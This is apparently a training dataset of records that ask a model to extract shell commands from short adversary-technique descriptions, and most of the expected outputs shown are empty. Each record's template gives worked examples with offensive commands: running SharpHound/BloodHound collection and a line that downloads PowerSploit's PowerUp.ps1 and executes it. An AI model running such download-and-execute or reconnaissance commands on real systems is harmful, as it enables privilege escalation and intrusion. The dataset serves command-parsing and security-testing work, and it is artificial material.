    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    An Adversary may set the sh history files size environment variable (HISTSIZE) to zero to prevent the logging of commands to the history file after they log out of the system.\n\nNote: we don't wish to log out, so we are just confirming the value of HISTSIZE. In this test we 1. echo HISTSIZE 2. set it to zero 3. confirm that HISTSIZE is set to zero.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Executes an HTA Application using JScript script engine simulating double click.",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Searches for Mozilla Firefox bookmarks file (on Windows distributions) that contains bookmarks in a SQLITE database.\nUpon execution, paths that contain bookmark files will be displayed.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Allows adversaries to abuse safe mode to disable endpoint defenses that may not start with limited boot",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test submits a command to be run in the future by the `at` daemon.\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    operating system discovery using get-ciminstance\nhttps://petri.com/getting-operating-system-information-powershell/",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Modify or create an file in /Library/StartupItems\n[Reference](https://www.alienvault.com/blogs/labs-research/diversity-in-recent-mac-malware)\n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This test locates the Login Data files used by Chrome to store encrypted credentials, then copies them to the temp directory for later exfil. \nOnce the files are exfiltrated, malware like CookieMiner could be used to perform credential extraction. \nSee https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/ . \n",
    "output": "{\"command_list\": []}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special 